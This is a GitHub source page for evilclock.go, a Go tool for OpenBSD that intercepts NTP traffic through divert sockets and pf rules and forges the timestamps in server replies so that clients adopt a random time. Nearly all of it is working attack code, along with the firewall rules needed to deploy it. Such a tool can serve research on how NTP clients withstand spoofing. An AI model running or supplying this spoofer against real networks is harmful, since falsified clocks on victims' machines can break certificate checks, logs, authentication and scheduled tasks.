-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathevilclock.go
More file actions
128 lines (112 loc) · 3.01 KB
/
evilclock.go
File metadata and controls
128 lines (112 loc) · 3.01 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
// evilclock.go - setting random (arbitrary) time on NTP clients
//
// To the extent possible under law, Ivan Markin waived all copyright
// and related or neighboring rights to evilclock, using the creative
// commons "cc0" public domain dedication. See LICENSE or
// <http://creativecommons.org/publicdomain/zero/1.0/> for full details.
// +build openbsd
/*
evilclock spoofs responses from the NTP server and forges timestamps.
It works using OpenBSD divert(4) sockets to feed packet through itself.
Add these rules to your /etc/pf.conf:
pass out quick on egress inet proto udp to port ntp divert-packet port 700
pass in quick on egress inet proto udp from port ntp divert-packet port 700
*/
package main
import (
"log"
"time"
"github.com/google/gopacket"
"github.com/google/gopacket/layers"
"github.com/nogoegst/divert"
"github.com/nogoegst/pktconn"
"github.com/nogoegst/rand"
"golang.org/x/sys/unix"
)
var NTPEpoch = time.Date(1900, 1, 1, 0, 0, 0, 0, time.UTC)
func TimeToNTPSeconds(t time.Time) uint64 {
tt := t.Sub(NTPEpoch)
sec := tt / time.Second
return uint64(sec) << 32
}
// To avoid overflows
func NTPDelta(a, b uint64) int64 {
if a > b {
return int64(a - b)
}
return -1 * int64(b-a)
}
// Returns random time in interval [now-d/2:now+d/2)
func RandomTime(d time.Duration) time.Time {
delta := time.Duration(rand.Int63n(int64(d))) - d/2
t := time.Now().Add(delta)
return t
}
// Spoofs responses from NTP server and sets time returned from tf().
func SpoofNTPResponse(pc *pktconn.PacketConn, tf func() time.Time) error {
packetSource := gopacket.NewPacketSource(pc, layers.LayerTypeIPv4)
buf := gopacket.NewSerializeBuffer()
opts := gopacket.SerializeOptions{
ComputeChecksums: false,
}
for {
packet, err := packetSource.NextPacket()
if err != nil {
return err
}
ntpLayer := packet.Layer(layers.LayerTypeNTP)
if ntpLayer == nil {
log.Printf("layer NTP not found")
log.Printf("%v", packet)
err := pc.WritePacketData(packet.Data())
if err != nil {
return err
}
continue
}
ntp := ntpLayer.(*layers.NTP)
if ntp.Mode != 4 { // we modify only NTP responses
err := pc.WritePacketData(packet.Data())
if err != nil {
return err
}
continue
}
t := tf()
log.Printf("Forcing time to be %v", t)
delta := layers.NTPTimestamp(NTPDelta(TimeToNTPSeconds(t), uint64(ntp.ReferenceTimestamp)))
// Alter all remote timestamps
ntp.ReferenceTimestamp += delta
ntp.TransmitTimestamp += delta
ntp.ReceiveTimestamp += delta
buf.Clear()
err = gopacket.SerializePacket(buf, opts, packet)
if err != nil {
return err
}
err = pc.WritePacketData(buf.Bytes())
if err != nil {
return err
}
}
return nil
}
func main() {
err := unix.Pledge("stdio inet", nil)
if err != nil {
log.Fatal(err)
}
d, err := divert.Listen("divert", "700")
if err != nil {
log.Fatal(err)
}
pc, err := pktconn.New(d, 2048)
if err != nil {
log.Fatal(err)
}
defer pc.Close()
err = SpoofNTPResponse(pc, func() time.Time {
return RandomTime(24 * time.Hour)
})
log.Fatal(err)
}